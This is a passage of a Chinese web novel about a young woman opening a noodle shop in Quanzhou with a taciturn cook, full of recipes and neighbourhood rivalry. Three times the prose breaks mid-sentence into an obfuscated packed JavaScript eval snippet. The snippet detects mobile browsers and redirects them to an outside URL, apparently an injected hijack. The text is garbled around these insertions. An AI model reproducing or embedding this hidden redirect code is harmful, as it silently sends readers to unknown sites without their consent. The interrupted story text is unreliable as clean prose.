阳光普照，和煦暖光填满招牌的沟壑，回想起病逝的爹和日渐破落的家，那块招牌好似变得没有那么沉重了。 招牌被提起的那一刻，藏在招牌后的灰尘洋洋洒洒落了一地。 许东山亲自抱着那块老招牌回到屋里，小心翼翼地放在了后屋的空房里。 许久没有等到许东山出来，苏月娘给来看热闹的众人倒了茶水摆了蜜饯，让她们坐在堂屋里稍闲聊一会儿便去屋后寻许东山了。 许东山对着那块招牌不舍了许久，摸了又摸，直到外头传来一阵脚步声，他才猛然想起要换新招牌的事情。 他刚走出房门，先入目的是一块湿手巾。 “擦擦吧！”苏月娘注意到方才许东山的手沾染了旧招牌背后的灰尘。 许东山没和他的头家客气，接过湿手巾，认真地擦拭一番。 苏月娘知道现下她提及任何与许氏面线糊有关的话题都是对许东山的伤害，索性，她就不特意提了。 —— 开业的日子定在四月初一，这日子还是苏月娘去关岳庙（2）那儿找了个先生算来的。 开业前一日，月娘面线糊店的头家和厨子已经开始热火朝天地预备明日的配料了。 厨房后院，许东山坐在矮板凳上，他的前方放着一个盛满猪大肠的大盆。 虽然那一大串猪大肠买来就白白净净的，但许东山还是皱着眉给层层叠叠软软塌塌的猪大肠分别用地瓜粉和生油里外清洗一遍。 苏月娘站在边上瞧着，见许东山洗得差不多了，她适时取桶从院子角落的井里打了一满桶的水，等许东山倒掉洗肠水，她再紧接着往大盆里加入清水。 “你先去起火，用后面那口锅，其他卤料不要和大肠一起卤。” 大肠味道大，喜欢吃的人能吃个不停，但吃不惯的人连一点味道都闻不得。 接手面线糊店后的许东山为了卤料不串味，特地从库房里翻出一口旧锅摆放在院子角落单用来卤大肠。 苏月娘笑了声，“你还怪讲究的。” …… 这边苏月娘刚生了火，添了水，许东山便搬着盆过来，将洗得一干二净的大肠丢入冷水中，接着，苏月娘往锅中丢入葱结、姜片，倒入两圈料酒，最后盖上锅盖煮一会儿。 回过头，许东山已经回了屋，站在窗边扎卤料包。 左右大肠焯好还需一段时间，苏月娘干脆走到窗下站着，双臂叠在齐腰的窗台上，探身往里瞧。 长石案上摆放着几盒不同的干香料，那些香料成色不错，味道也浓郁，作为半个大厨的苏月娘见到这样的香料，忍不住抓了一点放在手心里摆弄。 许东山取了一把干燥的木勺舀八角、桂皮、香叶、草果、花椒、小茴香、干辣椒各一勺放入小纱袋中制成卤料包。（3） “这些料这么好，卤出来的大肠一定很香！今天晚上可得多煮些饭！” 许东山人闷话不多，苏月娘也不管他回不回应，又继续道：“明天可是开业的大日子，表哥和春喜嫂或许都会过来，我得琢磨琢磨做点什么好吃的庆祝一下。” 许东山系着纱袋，还是继续沉默。 惨淡的经历摆在那儿，他可不敢给苏月娘太多鼓励，省得她期待多，失望更多。 锅中水滚，苏月娘用勺刮去水面浮沫后捞起大肠用温水清洗一番。 其间，许东山手脚麻利倒掉锅中的水，并将锅内擦洗一番，将大锅放回灶洞上方后，再由苏月娘将大肠放入锅中。 接下来便只需要掌勺的许东山自我发挥。 卤大肠最难的部分是清洗，卤制的过程反而是最简单的，往锅中加入生抽、老抽、盐、冰糖、姜片、料酒、卤料包以及差不多能没过食材的清水后，盖上锅盖，炖卤至筋道却又能够轻易嚼烂的程度即可。 …… 卤大肠需要时间，其间，为了确定韧度是否合适，苏月娘还悄摸揭开锅盖，用剪子剪了几小块品尝。 日将落山头，许东山估摸着大肠卤得差不多了，掀开大锅盖，卤大肠带点特色的香味便飘了出来。 只见光滑的、层叠的两种形态的猪大肠被卤汁与调料卤出了带点油亮的酱油色，肠边汁面咕嘟咕嘟冒着细小的沸泡，许东山用筷子一戳，大肠被轻松戳穿。 韧度正好，可以出锅。 原在堂屋摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113851|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄筷筒和调羹的苏月娘闻味而来，许东山余光瞥见她靠近，不动声色地取来一个干净的碗，从锅里挑出一条比巴掌略长的大肠放进去用剪子剪成小块再添两勺卤汁，待苏月娘站到他身边时，将碗递过去。 “谢谢！” 得到了大肠的苏月娘马不停蹄地回到厨房，从锅中盛了一满碗的饭与卤大肠、卤汁搅拌均匀。 当然，许东山卤了一下午的配料也是极为辛苦的，苏月娘在吃饭之前顺带给他盛了一碗。 一碟卤大肠、两碟事先炒好的时令蔬菜上桌后，许东山也将明日要售卖的卤料都放置在石案上，预备放凉之后放入木橱里存着。 等许东山入座，苏月娘才开始品尝她的卤大肠拌饭。 这大肠精心炖卤了两个多时辰，香料的味道已经深深地没入肠料与卤汁中，经过大火沸汁的锤炼，大肠变得嫩滑劲道，一口咬下去，夹在里外缝隙中的喷香卤汁爆出，每一层都能被轻松穿透却又不会过于软烂。 肥而不腻，口感丰富，咸中微甜，料香浓郁。 苏月娘敢打包票，今日卤的这锅大肠卖不了两天就会见底！ 比起苏月娘的胃口大开，许东山倒是没有对大肠展现出什么特别的青睐，只是一味地吃边上两盘清炒蔬菜。 “许大哥怎么不吃大肠？难道是不喜欢大肠的味道？” 许东山，“已经吃腻了。” 从前许东山生意不好，卖不掉的东西他也舍不得倒掉，只能忍着腻味都吃了。 一次两次还好，长久以来任谁都受不了。 苏月娘心思聪敏，想通其中缘由，不由得笑出了声。 “许大哥的生意究竟是差成什么样？”苏月娘始终想不通这个问题。 许东山沉默。 “好了好了……现在我来了，我保管这家店的生意一定会红红火火的！” 许东山，“嗯，会的。” 毕竟明日一早就开业了，许东山就算心里再忐忑，也不好泼苏月娘的冷水。 卤大肠出锅晚，吃饭的时辰自然也比平时晚了不少，为了不摸黑干活，两人赶在夕阳落山之前吃完晚饭，将碗筷拿到后院去洗。 二婶李金花站在自家后院看许东山和苏月娘分工合作地刷碗洗筷，心里头很是不屑。 她走到栅栏矮门边，阴阳怪气道：“阿山把生意做成那样子，你还敢雇他当厨子？” 苏月娘回过头，见是李金花站在那，她听这话心里很是不舒服，却笑着装傻，“你是在跟我说话？” “不然还有谁？” 苏月娘面上笑容不改，“为什么不敢？许大哥做的东西味道可好了，可比阿婶你家香多了！有他做我的厨子，我可不害怕生意会不好！” 李金花冷嗤一声，“后生家（4）不要自信过头，小心最后灰溜溜地关门倒闭！” “多谢阿婶关心，希望我们两家的生意都可以长长久久的！” 苏月娘往后走了两步，见许东山擦完了碗，便一边拉着许东山往厨房走，一边笑着朝李金花道别。 今日都当面阴阳怪气了，往后针锋相对的日子怕是还长着呢！ 5. 泉州卤面① 老话说得好，“天袂光做工，大富又大贵”。（1） 月亮还挂在山头，苏月娘便神采奕奕地从屋里走出，并去敲了对门。 屋里静默了一会儿才传来窸窸窣窣的声响。 不消多时，许东山出来了，一向身板直挺的他此时难得有些耷拉，苏月娘走近一瞧，瞧见他的眼是合着的，只是凭着记忆在往前走。 “许大哥！早！” 许东山好不容易睁开迷蒙的眼，见暗摸摸的周遭，他无奈地扯了扯嘴角。 “有必要起这么早吗？” “没必要吗？”苏月娘双目炯炯有神。 许东山，“……” …… 今日是开业的好日子，苏月娘自然是好好地捯饬了一番，抹了香粉又涂胭脂的，便不好总是往厨房去。 于是准备二十种面线糊配料的活便全然落到了许东山的身上。 “许大哥，天快亮了，我出去买油条了！”苏月娘往厨房里探头。 许东山背对着厨房门切着鸡卷，头都没回一下，“好。” “辛苦你多干点了！”苏月娘扶了扶别在耳边的一对小银花，提起竹篮，哼着小曲出了门。 凤池地段好，周边有庙宇与大片民房，自成一个小市集，现下天还没怎么亮，外头的街道上已经挤满了贩卖土产、海产的商贩。 苏月娘一出现，戴着金黄斗笠的惠安女（2）、簪着满头鲜花的蟳埔女们连忙大声朝她吆喝： “新鲜的鱼呦！便宜卖咯！” “快来看看我的鱼！还有虾！都还活跳跳的！” 惠安女和蟳埔女都是出了名的勤劳能干，挑着沉重的担子离开渔村，将鱼虾贩卖到别处。 苏月娘寻了个前几天卖过她海鲜的惠安女买齐了海蛎、鱿鱼和虾，打算中午做一顿卤面。 海蛎还需要热情的惠安女帮着去壳，苏月娘打算买了油条再折回来取。 街上仅有一家卖油条的。 头家和许东山是本家，和许东山是没出五服的亲戚，前两天许东山带苏月娘来探过门头。 “许头家，先来二十根油炸鬼（4）！” 苏月娘来得早，大油锅上的漏架上才摆了七八根刚出锅的油条。 “苏头家怎么才买二十根！”许头家笑呵呵地转过身去扯面团。 “等这二十根没了，还得再过来麻烦许头家呢！” 许头家直觉苏月娘的生意一定能够长久，便主动给了她一个低价，请苏月娘一定要多照顾照顾他的油条生意。 苏月娘点了铜板放到许头家装钱的匣子里，“那也要请许头家多替我向客人们打报（5）一下！” “一定一定！” —— 许东山把所有配料都准备好，堆放在靠近堂屋的窗台下，苏月娘也提着东西回来了。 “今天街上可热闹了，不愁生意做不起来！”苏月娘安置好那些滑不溜秋的海鲜，走到案台边巡视了一圈。 各类配料按照价格、荤素整齐列成三排，案台的右边是一个锃亮的大桶，掀开又扁又平的大圆盖，里面是热气腾腾的面线糊。 “东西都准备好了，你看看什么时候开门。” 苏月娘朝窗一望，清晨的阳光从窗外撒入厨房，挥散了长夜积攒的清冷。 此时，大门口聚集了几个先前说好要来捧场的厝边。 “月娘头家！还不开门吗！” 听到外面的声响，苏月娘展露笑颜，“把鞭炮拎上！” 她脚步轻快地去开门了，许东山跟在后头，顺带拎起了盘在桌上的一大串鞭炮。 大门展开，外头站着十来个人，全是住得近的厝边。 看到许东山提着大串鞭炮出来，人群里的一个个子矮矮的小男孩跑出来脆生生地喊了声干爹。 许东山摸了摸小男孩的脑袋，那张冷脸好像和煦了一些。 “你还有干儿子啊？”苏月娘看那小男孩脑袋圆圆的，脸颊肥嘟嘟的，心里头觉得喜欢便也跟着摸了一把。 “干表姑你好，我叫阿生！” “阿生好，一会儿让你干爹放炮给你看！” 那些厝边们已经在催促苏月娘开业了，既然如此，苏月娘也不管是不是时辰合适，她将锣鼓交给阿生，让阿生卖力敲。 阿生在他阿嬷的帮助下，提着那面有半个他高的锣用力敲了起来。 在锣鼓声中，许东山将那一大长串鞭炮铺在了地上，众人立即避让成一个大圈，苏月娘站在阿生后面给他捂耳朵。 点燃引线，引线上冒起滋滋啦啦的小串火花，引线烧尽，鞭炮长蛇顿时炸出亮眼的火花。 鞭炮长蛇足有两米多长，就这么盘在月娘面线糊店的门口噼里啪啦地热闹了好一会儿，等鞭炮长蛇全然成为一地碎红，门口弥漫着白紫色的硝烟，大家伙一拥而上，入店点菜。 苏月娘是最后进去的，等大家伙都进去了，硝烟也差不多散干净了，她余光瞥见李金花站在门边死瞪着她。 “早。”苏月娘笑着朝李金花问了好，随后抬腿进了屋，徒留李金花一人在原地破口大骂。 苏月娘原意是不收厝边们的钱的，但厝边们却纷纷掏出铜板往桌上拍，在几番你推我推之后，苏月娘还是象征性地一人收了两个铜板。 许家的面线糊手艺一脉相传，厝边们也是吃着许家阿公和许东山爹面线糊长大的，对于许东山的面线糊，大家都说有前人的味道。 苏月娘招呼完客人们回到厨房去，见许东山不喜不悲地举着大勺，搅拌着大桶里的面线糊。 她用胳膊肘撞了撞他，“许大哥，大家都夸你手艺好呢！你怎么看起来不怎么开心啊！” 许东山疑惑地看着苏月娘，“你从哪里看出来我不开心？” 苏月娘皱眉垂眸绷嘴，摆出许东山的表情，“你的表情是这样的。” 许东山，“……我很开心……” “看不出来一点，感觉你的脸很苦。” 那边有人在喊苏月娘，苏月娘离开了厨房。 许东山疑惑地摸了摸自己的脸。 他都这么开心了，苏月娘为何还觉得他的表情很苦？ …… 厝边们各有琐事，吃过了面线糊后，大家也都离开了。 就连小阿生，也跟着他阿嬷去街上卖豆腐了。 堂屋一下子空荡了起来。 苏月娘将用过的碗筷都收拾到后院里去，怕客人来了找不到人，她便先搁着那些碗，回前头去等客人了。 许东山在厨房里呆着闷，也跟着出去了。 两人一左一右地靠在大门边朝着外头望。 外面的街市正热闹着，有不少出门采买食材的过客路过店门口。 看到门口有人路过，苏月娘眼睛一亮，正当她要招呼那人吃碗面线糊时，那人却埋着头，匆匆走过。 苏月娘目光顺着那过路人的背影望去，那人一走过自家店门口，脚步好像轻快了些。 苏月娘不解，却也没深究。 直到半刻钟后，有第二个人路过巷口，那人摸着肚子来的。 “吃面线糊吗？”苏月娘出声吆喝。 那个人抬头，先看看招牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113852|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再看看笑靥如花的苏月娘，刚想往里面走，又看到跟门神一样杵在一旁的许东山。 他的脚步顿住了，硬生生拐了个弯，往李金花的店去了。 苏月娘茫然地看着那个人离开。 “他刚刚是不是想进来？” 许东山点点头。 苏月娘双手环抱在胸前，跳下台阶，绕着店门口走了一圈，当走到许东山跟前时，她仰起头，看着许东山。 许东山的个头放在整个泉州或许都找不出多少比他高的，皮肤黝黑，身板结实，额角还有一道刀疤…… 他长得就像是一拳能打死十个人的煞神！ 苏月娘好似知道了客人为什么走，且许东山生意不好的原因了。 “许大哥，你待在厨房不要出来！”苏月娘推着许东山进屋了。 许东山不解，“为什么？” “你长得太吓人了！” 把拿不出手的许东山藏到厨房后，苏月娘再度走到门口去。 如她预想，不出一会儿，就有过路人来问这儿是不是换头家了。 苏月娘笑意盈盈地与对方表明自己的身份，并将人请入了店里。 在厨房里对着一大桶面线糊发呆的许东山见苏月娘真的招呼来了一个客人，赶忙站起来，等着听客人点了什么料。 “醋肉、卤蛋、油条！七文钱……今天头一天开张，图个吉利，收您六文钱！” 苏月娘收了铜板，往厨房走，许东山已经手脚麻利地将醋肉、卤蛋加入一碗面线糊中，顺带将一条油条剪成小段盛在碗中。 苏月娘一手端一碗朝着客人走去。 “小心烫！” 客人取了调羹，轻轻搅拌冒着热汽的面线糊，几乎每一下都能翻出料来。 “你家的面线糊闻着比隔壁那家香多了！就连配料也多上一倍不止！” 苏月娘也没有借机说李金花的面线糊有什么不好，只是笑着道：“您先吃着！要是不够您喊我给您再添一点！” 刚招呼好一位，外头又走来一个拎着两大提金纸（6）的妇人和一个小孩。 苏月娘迎了上去，“二位吃点什么！” “我要吃醋肉！要吃好多好多醋肉的！”小男孩的口水都快留下来了。 那位妇人也是个疼孩子的，她将两大提金纸往桌上一放，“那就来两碗醋肉的！给我儿子多加一点！” 苏月娘往厨房跑，许东山已经在夹醋肉了。 “多加点！这样才能传出名气来！” 许东山又多剪了一份醋肉，每碗各分一半。 醋肉铺底，再盛一大勺滚烫的面线糊，撒上葱花、香菜便可以出餐了。 …… 进店喝面线糊的客人越来越多，虽说还不到将整个堂屋填满的程度，但苏月娘放钱的两个衣兜已经清空了一回。 还有将近一个时辰到正午，客人渐渐少了起来。 总算能松一口气的苏月娘回到厨房，将兜里的钱都倒到匣子里。 他没想到，今天的生意会这么好。 “你看！赚了这么多呢！”苏月娘得意地晃了晃匣子。 “厉害。” 许东山看着堆成小山的铜板，那张凶相脸露出个浅笑。 苏月娘小心翼翼地将匣子放在隔层里，稍稍收敛了一下脸上的表情 “这都快中午了，表哥和春喜嫂怎么还不来？” 许东山捏了捏盛面线糊盛得有些发酸的胳膊，“浮桥那么远，晚点也正常。” 说曹操曹操到，两人念叨着的两口子赶着骡车出现在了店门口。 6. 泉州卤面② 许春喜和林大松两口子风尘仆仆地从十几里地外的浮桥赶来，骡车后的长板上还放了不少自种自制的好东西。 许东山和苏月娘见两口子来了，忙去迎接二人进门。 坐在骡车后板的许春喜见到自家大哥和苏月娘，激动地朝他们连连挥手。 许春喜和许东山看起来并不像亲兄妹，许春喜又瘦又高，皮肤白皙，十分面善。 坐在骡背上的表哥林大松瘦得跟竹杆似的，两口子站一块儿，也算是登对。 苏月娘看着一车东西和疲惫的骡子，想也知道表兄表嫂来这一趟并不容易，便让许东山辛苦一些将骡子牵到后院去并将东西都卸下来。 林大松和许春喜前几日收到苏月娘托人捎的口信，得知苏月娘盘下许家的店时，两人心里竟还觉得挺合适的。 现下店里客人不多，还能腾出一张桌子给许春喜和林大松泡茶。 入座后，许春喜打量着堂屋里的情景，心里倒是欣慰。 “你这生意做得可比我大哥好多了！现在你赚了钱，他得了酬劳和租金，倒是一桩两全其美的好事！” “有许大哥的好手艺，以后生意大概不会差到哪里去！”苏月娘从壁橱中取出一罐花大价钱买的铁观音，和一套许家原有的茶具摆到桌上去，再折回厨房提来一壶滚水。 从前苏月娘的爹喜好品茶，家中常备好茶叶和茶具，苏月娘自小耳濡目染，也是个泡茶好手。 一套行云流水的泡茶功夫使出，清透的金黄色铁观音茶被从公道杯倒入白色品茗杯中。（1） 茶汤尚未入口，浓郁温暖的焙火香与兰花香便钻入鼻腔，使人未饮如饮，深品其芳。 许东山卸物归来，苏月娘也给他倒了一杯。 “月娘泡茶的动作可漂亮了！她泡的茶喝起来都要比别人泡的香！”许春喜对于苏月娘泡的茶很是捧场。 林大松看许春喜喝茶喝得文雅，便克制住自己想要一口闷的冲动，学着她小口小口抿。 许东山倒没想那么多，掂起品茗杯，牛嚼牡丹似的，分两口就将茶给喝干净了。 要不是太烫，他还能一口就喝完。 喝完后，许东山还暗暗品味了一下。 恕他不懂行，他喝不出苏月娘泡的茶和他随手抓一把茶叶丢到热水里泡的茶有什么不一样。 …… 正午时分，来吃面线糊的客人又多了起来。 作为头家的苏月娘一面招待客人，一面给客人们盛面线糊，而许东山跟着许春喜两口子一齐准备午饭。 按照苏月娘的安排，今日中午的主食是卤面。 林大松和许春喜的厨艺都不如许东山，两口子主动把大锅灶让给许东山，自己闪到后院去处理食材。 许东山坐在灶边生火，他一抬头，就能透过窗瞧见凑在水池边一边说笑一边洗菜的妹妹妹夫。 他们过得很幸福。 许东山心满意足地弯身添柴。 他孤家寡人一个，无妻无子，没什么需要担心的，他最盼的就是许春喜能够平平安安，顺顺利利的。 林大松清洗食材，许春喜负责切，夫妻搭配，干活不累，没一会儿，食材处理好了，许东山那儿也将锅烧热了。 “大松去煮剩下的虾，春喜去街上买油条。”许东山往锅中倒入花生油，紧接着倒入一碟切好的三层肉进行煸炒。 苏月娘听此，从匣子里抓了一把铜板塞给许春喜，“麻烦春喜嫂了！买十五根就好！” “你跟我客气什么！”许春喜收了钱，便出门去了。 锅中三层肉煸炒出油，肉面呈现金黄色再下入香菇片、虾仁快速煸香，虾仁由灰变红，倒上一勺酱油一齐翻炒，直到酱油的香味被激发，便可加水烹煮。（2） 许东山用瓢子从缸中取了一勺清水就要加入锅中，苏月娘拦住了他。 “还剩下一碗骨汤，加骨汤吧！” 那碗骨汤原是留着晚上煮汤的，但比起用来煮紫菜汤，还是煮卤面比较合适。 许东山将水倒回水缸，从橱中取出那碗奶白色的骨汤倒入锅中，趁着汤水未沸，许东山取来了三个装了酱料的小陶罐，待锅盖边热汽直冒，许东山掀开锅盖用大调羹挖了一大勺花生酱、一平勺香菇肉酱以及半勺甜辣（3）依次摇晃匀入汤水中。 到了这一步已经大致有了卤面的香味。 忙活一早上的苏月娘闻这味道，肚子忽然咕咕叫了两声。 卤面汤底开始冒大泡，倒入手切好的红菜丝，等待红菜丝变软，手撕着下入一大坨黄色生碱面和一篮白菜段。 大火烧开，用大勺来回搅拌，直到汤汁变得浓稠，倒入半碗海蛎、一大碗改过密集井字花刀的鱿鱼。 鱿鱼做法讲究，火过旺容易破坏口感，见鱿鱼大概起了花形，许东山让林大松搭了把手，将灶膛里的柴拨一根出来，灶膛里的火势顿时削了一半。 中小火慢烹至鱿鱼、海蛎熟透，丢入一大把蒜苗、淋上一小勺芝麻香油，泉州风味的卤面便能够出锅了。 焯好虾炒好菜的林大松凑到灶边用力地闻了闻。 “以前来和春喜相看的时候吃了一次大哥的卤面，我就一直惦记到现在！刚成亲时和春喜提起大哥的卤面，春喜还埋怨我做的卤面不如大哥的好吃。”林大松倒是挺擅长拍马屁的。 许东山心底有些愉悦，“一会儿我教你，你回去自己做。” 等许春喜买了油条回来，四大碗卤面、焯虾、蒜苗炒大肠、炸鸡卷已经摆上了桌。 卤面的香味飘满整个堂屋，正在吃面线糊的客人们闻见，纷纷伸长脖子，往主人家那桌看。 “我带了一坛好酒，大家一起喝点？”林大松今天兴致很好，酒兴自然也就上来了。 许春喜在桌下狠狠踩了林大松一脚，林大松痛得倒吸冷气。 “月娘和大哥下午还要做生意呢！而且你酒量这么差，你要是醉得东倒西歪的，我可把你丢在路边自己回去了！” 林大松，“你怎么这么狠心？” 许春喜瞪他。 林大松认怂，他讪讪笑道：“看我这猪脑子！那就下次再喝！” 苏月娘和许东山已经饿得前胸贴后背了，两个人也没管打情骂俏的许春喜两口子，自顾自地吃起了卤面。 许东山的手艺好可不是盖的，闻着香，吃着更香。 入口第一味是花生味与芝麻油味，花生酱与芝麻油杀去虾、鱿鱼、海蛎的大部分腥味，只留下一丝鲜香，一碗卤面光咸味可不行，恰好，被炖煮过的清甜白菜段弥补了甜味的缺失。 轻微出羹的生碱面让汤底变得浓稠，鲜香浓郁的汤汁均匀挂在口感嫩脆的花刀鱿鱼块上，倒是别有风味。 苏月娘尝面、鱿鱼、汤汁各一口，味道好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113853|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得让她双目放光，“许大哥这手艺和大席的厨子一模一样！” 许春喜挑眉，“以前我大哥在宴席班子学了三年手艺呢！要不是突然打仗，我哥再多干半年，就能接大师父的班呢！” 苏月娘惊讶地看向许东山，“那我的工钱还算是开少了！” 许东山，“不少了。” 苏月娘给的工钱可比他干力气活多得多。 “大哥你可要好好存钱，我可等着你给我找个嫂子！”许春喜朝着许东山一顿挤眉弄眼。 许东山皱眉，“多管闲事。” 许春喜闭了嘴。 家里还剩下多少家底她多少清楚一点，以自己大哥的性子，是万万不敢拿着这一点家底去娶妻生子。 …… 浮桥远，许春喜两口子还得趁早赶回去。 帮着收拾了厨房后，两口子便提出要走。 许东山帮着林大松在后面牵车，苏月娘和许春喜手挽着手站在街口等着。 趁着两个大男人还没过来，许春喜趁机和苏月娘说了些贴己话。 “你安心在这里住着，你大伯那里我和你表哥帮你挡着！绝对不会让他有机会抓你回去成亲！” 苏月娘感激地握着许春喜的手，“多谢你和表哥了……” “都是一家人说什么谢不谢的！”许春喜回过头，远远看见许东山提着大包小包的跟在骡车边，“我哥这人踏实能干，你尽管使唤他就好，不用不好意思！” 苏月娘小声道：“许大哥除了长得凶当不了门面，其他事情他都干得很好！” 许春喜也压低声音，“我早料到他顶着那张臭脸做不了生意！” “今天早上，他还吓走了两个客人呢！” “他这张脸客人见了都害怕，更何况小姑娘啊！” 许东山越走越近，苏月娘和许春喜笑成了一团。 许东山不懂她们两个在笑什么，只是一脸莫名其妙地往骡车上装东西。 “走了走了！”林大松对许春喜挥了挥手，而后往许东山那里凑了凑，“大哥，月娘一个小姑娘在外面也不容易，你多照顾照顾她！” “知道了，你也照顾好春喜。” 难得回一次娘家还待不久，许春喜不舍得和许东山和苏月娘再三道别才跳上骡车，护着许东山给她准备的一堆东西坐下。 看着骡车越走越远，直到消失在拐角处，苏月娘才招呼许东山一块儿回去。 —— 面线糊三餐可吃，傍晚，最后一碗面线糊卖出，月娘面线糊店第一日的营业就算是结束了。 许东山在厨房里煮饭，苏月娘捧着匣子去到堂屋数钱。 噼里啪啦的炒菜声和丁零当啷的数钱声交织在一块儿，落在苏月娘耳朵里，悦耳得好像仙乐一般。 饭菜上桌，苏月娘还将今日赚到的钱都堆在桌头。 她那张灿烂的笑脸，许东山想要忽略都不行。 “赚了多少？” “八百三十六文！” 许东山面露讶色，九百三十六文，这家店在他手上一个月也就赚这个数。 苏月娘喜滋滋地摸着那一堆铜钱，“这还是我今日客人们减免一些的结果，不然能更多呢！” 跟着这么个有前途的头家做事，作为厨子的许东山与有荣焉。 先前心里的那点忐忑全然消失不见。 7. 惠安地瓜粉团 第一天开了个好彩头，第二天生意自然差不到哪去。 这才刚开门，客人们便陆陆续续地进到店里，苏月娘记性不错，她认出其中几个是昨天来过的回头客。 她一边等着许东山盛面线糊，一边与他分享这一喜人的发现。 许东山虽然没说什么，但打面线糊的动作明显轻快了许多。 苏月娘将面线糊送到客人那儿后，再度走到店门口去等下一波客人。 这个时辰来喝面线糊的基本是提早出来占位子做生意的，人数并不会太多，等一会儿百姓都睡醒出门逛街市了，真正的高峰才会到来。 一时半会儿等不到客人，苏月娘百无聊赖地朝着门外瞧，恰巧碰见了一个住在巷子深处的阿嬷挑着水从门边走过。 那个阿嬷走路摇摇晃晃的，一步三喘。 苏月娘看着那个阿嬷走到李金花的店门口，和坐在门头择菜的李金花问了好。 那个阿嬷也不急着回去，将两桶水放在地上，再将扁担架在水桶上，叉着腰站在李金花店门口和李金花话仙（1）。 “又起这么大早去挑水啊！怎么不让你儿子去挑！” 阿嬷叹气，“那个不孝子能指望什么呢！让他去镇尾挑水，跟要他的命一样！” 苏月娘先前绕着周遭逛了一圈，知道住在这附近的百姓们都会去镇尾的水井挑水，甭说是挑着两大桶水了，就是空手来去一趟都得费些功夫。 以自家开店的情况，用水只多不少，也就是许东山家的后院打了口水井，不然她和许东山免不了跟着百姓们一样走远路去挑水。 正当苏月娘默默庆幸着，忽然听见那个阿嬷对着李金花羡慕道： “要是我家和你家一样有口水井就好了！这样我就不用走那么远的路了！” 苏月娘愣了下。 许东山家和李金花家的院子中间只隔着一条三尺的小巷，两家都用矮栅栏围着院子，可以说，彼此对彼此家的院子是一览无遗的，可是苏月娘从来没看见李金花家里有井。 这会儿，来了几个客人，苏月娘中断了深想，先领着客人们进门入座。 那边的李金花瞥见月娘面线糊店又进了好几个客人，心里怄得都快喷火了。 要是苏月娘没开这家店，这些客人可都是她的！ 阿嬷见李金花冷着一张刻薄脸在看苏月娘的店，顿时没了和她说话的兴致。 反正辛苦也去完了，她继续挑水赶路了。（2） —— 不知道是不是有客人的宣传，今日中午的客人相比昨日可是翻了一番。 昨日中午客人不多空出手来卤面吃面绰绰有余，今日客人一个接着一个来，苏月娘和许东山根本腾不出时间做饭。 一直忙到了未时，接待完几位卖完海产的惠安女，苏月娘和许东山才能闲下来做饭。 “看着这么多钱，感觉肚子都没那么饿了！”苏月娘乐呵呵地晃了晃钱匣子。 铜板在木匣子里发出脆响，声音依旧很是悦耳。 许东山在厨房里翻翻找找，找出几样昨晚没用完的食材，“今天中午吃点地瓜粉团吗？” 方才看到外面坐了三四个惠安女，许东山便萌生了要做惠安地瓜粉团的想法。 “你决定就好，我先去把碗洗了，不然下午碗该不够用了！”苏月娘哼着曲儿抱着装有碗山的大桶出去了。 许东山刚抓了几朵香菇干丢到碗里泡发，苏月娘的声音便从外头传来。 “许大哥，水缸没水了，先帮我打点水吧！” 许家的水井井口低，用来装水的水桶又沉，苏月娘总是担心自己打水时会栽到井里去，所以打水的活全都交给许东山来做。 泡发香菇需要一段时间，许东山正好趁着这段时间去打水。 揭开盖在井上的大石板，许东山探身往里头瞧水位。 见到水位低得有些过分了，许东山的眉都拧到了一块儿。 苏月娘见许东山露出这么个表情，走到水井边上去看了一眼。 这么一看，她倒是联想到了早上没来得及想清楚的事情。 “今天早上我听人说你二婶家里有井能打水，可是我怎么没在她家院子里看到水井？” 许东山几乎将吊在木桶上的绳子都放入井中才打到水。 “她有时候会来这里打水。” 见许东山打水打得有些艰难，苏月娘心里不满了起来，她走到一旁的杂物箱里取来一团结实的麻绳等着许东山把水拎上来再绑在打水绳的末端。 “这口井是你和她家共有的吗？” 许东山有些气喘，“这口井是我爹在分家后出钱打的。” 既然水井只属于许东山，那事情也就好办多了。 “她把我们的井水打完了，我们用什么？往后你可不许让她再来了！” 若是普通厝边，苏月娘还是欢迎对方偶尔过来打点水的，但要是李金花这种开店的，她必然会将人拒之门外。 “一会儿我把门锁上。” 从前后院的栅栏门都不曾设锁，倒也方便了李金花和许二叔过来打水。 许东山勉强打了三桶水上来，这些水正好够洗碗和做饭。 察觉到苏月娘不开心，许东山赶紧回到屋里去翻出一把生锈的大锁挂在后院门上。 （3） 忙活了一阵，香菇也泡开了，许东山回到厨房将香菇剪成小条备用。 梅花肉改刀切条，加入生抽、盐、胡椒粉、料酒腌制一会儿，在这段空档中，许东山抓紧时间生火，锅热之前，找出早上没吃完的炒花生，将花生皮搓下来，再将洗好的花菜切成小拇指大小。 